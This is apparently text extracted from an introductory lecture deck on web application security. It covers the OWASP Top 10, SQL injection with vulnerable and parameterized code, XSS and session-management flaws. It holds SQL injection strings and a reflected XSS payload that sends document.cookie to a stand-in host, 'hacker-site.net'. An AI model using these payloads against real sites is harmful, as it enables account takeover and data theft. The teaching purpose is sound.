Web application security
Web application security
● Injection
● Broken authentication
● Sensitive data exposure
● XML external entities (XXE)
● Broken access control
● Security misconfiguration
● Cross-site scripting (XSS)
● Insecure deserialization
● Using components with known vulnerabilities
● Insufficient logging and monitoring
According to the OWASP Top 10 - 2017, the ten most critical web
application security risks include:
● Injection
● Broken authentication
● Sensitive data exposure
● XML external entities (XXE)
● Broken access control
● Security misconfiguration
● Cross-site scripting (XSS)
● Insecure deserialization
● Using components with known vulnerabilities
● Insufficient logging and monitoring
SQL Injection
txtUserId = getRequestString("UserId");
txtSQL = "SELECT * FROM Users WHERE UserId = " + txtUserId;
105 OR 1=1
uName = getRequestString("username");
uPass = getRequestString("userpassword");
sql = 'SELECT * FROM Users WHERE Name ="' + uName + '" AND Pass ="' + uPass + '"'
" or ""="
sql = 'SELECT * FROM Users WHERE Name ="' + uName + '" AND Pass ="' + uPass + '"'
txtUserId = getRequestString("UserId");
txtSQL = "SELECT * FROM Users WHERE UserId = " + txtUserId;
txtUserId = getRequestString("UserId");
txtSQL = "SELECT * FROM Users WHERE UserId = @0";
db.Execute(txtSQL,txtUserId);
txtUserId = getRequestString("UserId");
sql = "SELECT * FROM Customers WHERE CustomerId = @0";
command = new SqlCommand(sql);
command.Parameters.AddWithValue("@0",txtUserID);
command.ExecuteReader();
Cross-site scripting (XSS)
Cross-site scripting (XSS)
A website print value which was input in URL such as variable Ping
karivara.com/?name=lnguyen
https://laptrinhcuocsong.com/toi-da-hack-cho-tot-nhu-the-nao.html
Reflected XSS
example.com/?name=<script>alert(document.cookie)</script>
Reflected XSS
http://example.com/name=<script>var+i=new+Image;+i.src=”http:/
/hacker-site.net/”%2bdocument.cookie;</script>
GET /sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4
HTTP/1.1
Host: hacker-site.net
Stored XSS
Stored XSS
https://kipalog.com/posts/Toi-da-hack-trang-sendo-vn-nhu-the-nao--
Dom based XSS
BROKEN AUTHENTICATION AND SESSION MANAGEMENT
A travel reservations application supports URL rewriting, putting session IDs in the URL.
http://example.com/sale/saleitems;jsessionid=2P0OC2JSNDLPSKHCJUN2JV?dest=Hawaii
Risk: An authenticated user of the site wants to let their friends know about the sale. The user
e-mails the link above without realizing they are also giving away their session ID. When the
friends use the link they use the user’s session and credit card.
BROKEN AUTHENTICATION AND SESSION MANAGEMENT
The user utilizes a public computer to access a site. Instead of selecting “logout” the user
simply closes the browser tab and walks away. An attacker uses the same browser an hour
An insider or external attacker gains access to the system’s password database. User
passwords are not properly hashed and salted, exposing every user’s password.
Risk: Stored username and password values should be salted and hashed, in addition to
being encrypted.
BROKEN AUTHENTICATION AND SESSION MANAGEMENT
Username and Password values that are easy to guess or that are used frequently can be
https://www.betterbuys.com/estimating-password-cracking-times/
Thank for listening.